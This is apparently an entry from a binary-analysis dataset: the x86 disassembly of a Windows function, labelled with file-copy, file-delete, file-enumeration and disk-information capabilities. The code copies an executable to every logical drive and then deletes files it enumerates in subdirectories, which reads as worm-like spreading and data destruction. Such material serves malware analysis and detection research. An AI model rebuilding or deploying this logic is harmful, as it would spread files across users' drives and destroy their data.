Function at 0x402750
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x794
mov eax, dword [0x408040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.c.exe]
push ebx
push esi
push edi
mov dword [ebp - 0x794], eax
mov ax, word [0x405380]
push 0x103
mov word [ebp - 0x790], ax
lea eax, [ebp - 0x123]
push 0
push eax
mov dword [ebp - 0x78e], 0
mov byte [ebp - 0x124], 0
call sub.VCRUNTIME140.dll_memset
push 0x95
lea eax, [ebp - 0x1bb]
mov byte [ebp - 0x1bc], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x103
lea eax, [ebp - 0x2bf]
mov byte [ebp - 0x2c0], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x103
lea eax, [ebp - 0x3c3]
mov byte [ebp - 0x3c4], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add esp, 0x30
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x644]
push eax
push 0x405384
call esi
mov esi, eax
lea eax, [ebp - 0x644]
push eax
push esi
call ebx
test eax, eax
je 0x402853
nop dword [eax]
push dword [0x408340]
lea eax, [ebp - 0x618]
push eax
call fcn.00402150
add esp, 8
lea eax, [ebp - 0x644]
push eax
push esi
call ebx
test eax, eax
jne 0x402830
push 0x408468
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cmp byte [0x408468], 0
mov ebx, 0x408468
je 0x4028e0
lea edx, [ebp - 0x20]
mov ecx, ebx
sub edx, ebx
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x402880
lea edx, [ebp - 0x794]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402895
lea edi, [ebp - 0x20]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4028a2
mov ecx, edx
lea eax, [ebp - 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x408348
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4028d0
sub ecx, edx
inc ebx
add ebx, ecx
cmp byte [ebx], al
jne 0x402871
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea eax, [ebp - 0x504]
push eax
push 0x40538c
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea ecx, [ebp - 0x504]
push ecx
push eax
mov dword [ebp - 0x788], eax
call ebx
test eax, eax
je 0x402800
cmp dword [ebp - 0x504], 0x10
jne 0x402a95
xor ecx, ecx
mov al, byte [ebp + ecx - 0x1bc]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x125], al
test al, al
jne 0x402921
lea edx, [ebp - 0x4d8]
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x402940
lea edi, [ebp - 0x124]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402950
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x124]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2c1], al
test al, al
jne 0x402970
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x124]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x3c5], al
test al, al
jne 0x402990
lea ecx, [ebp - 0x2c0]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4029b0
mov eax, dword [str..]
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ecx], eax
mov al, byte [0x405394]
mov byte [ecx + 4], al
lea eax, [ebp - 0x784]
push eax
lea eax, [ebp - 0x2c0]
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x784]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x402a8f
nop word [eax + eax]
xor eax, eax
mov cl, byte [ebp + eax - 0x3c4]
lea eax, [eax + 1]
mov byte [ebp + eax - 0x125], cl
test cl, cl
jne 0x402a02
lea edi, [ebp - 0x124]
dec edi
nop
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x402a20
mov ax, word [0x405398]
lea edx, [ebp - 0x758]
mov word [edi], ax
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x402a40
lea edi, [ebp - 0x124]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402a50
mov ecx, edx
lea eax, [ebp - 0x124]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x784]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402a00
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x504]
push eax
push dword [ebp - 0x788]
call ebx
test eax, eax
jne 0x402912
jmp 0x402800